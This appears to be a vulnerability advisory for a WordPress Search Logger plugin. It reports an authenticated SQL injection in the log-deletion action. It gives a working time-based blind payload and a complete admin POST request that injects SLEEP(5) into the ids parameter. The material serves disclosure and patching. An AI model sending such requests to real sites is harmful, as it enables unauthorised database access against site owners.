The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users
------------------------------------------------- Go to Search Logger > Logs > Select > Delete ------------------------------------------------- ------------------------------------------------- Payload : 1 AND (SELECT 7785 FROM (SELECT(SLEEP(5)))mkXB) ------------------------------------------------- ------------------------------------------------- POST /wp-admin/tools.php?page=search-logger HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: /wp-admin/tools.php?page=search-logger Content-Type: application/x-www-form-urlencoded Content-Length: 154 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 page=search-logger&s=&_wpnonce=c23125ecc5&_wp_http_referer=%2Fwp-admin%2Ftools.php%3Fpage%3Dsearch-logger&action=delete&paged=1&ids%5B%5D=1+AND+(SELECT+7785+FROM+(SELECT(SLEEP(5)))mkXB)&action2=delete
Mika
Mika
Yes
2022-09-20 (about 1 years ago)
2022-09-20 (about 1 years ago)
2022-09-20 (about 1 years ago)